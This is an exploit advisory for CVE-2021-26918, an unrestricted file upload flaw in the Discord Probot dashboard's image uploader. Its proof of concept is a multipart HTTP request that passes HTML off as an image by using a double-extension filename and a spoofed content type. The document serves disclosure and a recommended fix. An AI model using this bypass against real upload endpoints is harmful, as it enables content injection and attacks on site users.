Authored by thelastvvv

Discord Probot suffers from an arbitrary file upload vulnerability.

advisories | CVE-2021-26918

# Exploit Title: Discord Probot - Unrestricted File Upload 
# Google Dork: N/A
# Date: 2021-02-08
# Exploit Author: ThelastVvV
# Vendor
# Version:Version 2021
# Tested on: Debian 5.7.10-1parrot2
# CVE:CVE-2021-26918

Probot is a discord very customizable multipurpose bot for welcome image, In-depth logs, Social commands, Music, Moderation and many more ...

# Description:

The attacker can acces to probot dashboard and use image uploader in the welcomer tab , the attacl can upload many file types due the issues of unrestricted file uploads which can be bypassed by changing multipart/form-data POST request with a specially-crafted filename or mime type.

# PoC:

Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------
Content-Length: 333
DNT: 1
Connection: close

Content-Disposition: form-data; name="file"; filename="ste.html.jpg"
Content-Type: text/html

<!DOCTYPE html>


Note:the link of the file will be generated depend on the content type in this case .html

# Impact
Unrestricted file uploads can be abused to exploit other vulnerable sections of an application when a file on the same or a trusted server is needed (can again lead to client-side or server-side attacks)

File types should be restricted to only jpg ,png ,jpeg (text/img)